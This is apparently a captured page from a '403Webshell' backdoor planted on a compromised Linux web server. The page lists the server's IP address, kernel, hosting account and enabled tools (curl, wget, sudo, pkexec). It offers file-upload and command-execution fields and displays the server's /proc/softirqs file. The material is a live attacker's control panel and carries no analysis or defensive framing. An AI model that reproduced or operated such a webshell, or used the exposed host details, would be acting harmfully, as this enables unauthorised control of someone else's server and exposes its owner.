403Webshell
Server IP : 103.57.220.144  /  Your IP : 216.73.217.172
Web Server : nginx/1.28.1
System : Linux cs-linux-20260128093600810 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : dulichdaohon ( 1183)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      CPU16      CPU17      CPU18      
          HI:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
       TIMER:   57586878   43789437   40870143   38583867   37920482   36273575   35203262   34730079   33951480   33759664   32375413   32884901   32120654   35268295   31996241   31865326   31268028   31056289   30606181
      NET_TX:          0          0          0          8          2          0          2          0          0          0          0          2          6          0          0          0          1          0          0
      NET_RX:  230452180  226498514  219097490  212716445  211191378  210158747  204778111  208809103  205403934  207099695  203608278  204322882  205411994  311735477  203281860  205125332  204376139  201288957  203139758
       BLOCK:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    8779553    9104914    8969672    8746231    8639557    8592721    8358661    8433246    8292811    8370594    8277265    8368776    8311562    8422132    8215703    8256246    8232537    8233993    8222374
       SCHED:  173498148  110150161   89444694   79558331   74088596   70721112   68527259   67067468   65847127   65052015   64206629   63742785   63263507   74326392   62750519   62418367   62104461   61860654   61546457
     HRTIMER:      67911      67324      64131      59944      56311      52710      55653      52022      51751      62882      53120      51697      50350      51652      49737      58060      50627      50520      49278
         RCU:  443745825  519570879  533333950  532505688  528487703  522224015  516474208  509559672  504403322  498797125  492993057  487358747  484444628  541785788  479736336  475373906  472492534  469599212  466092817

Youez - 2016 - github.com/yon3zu
LinuXploit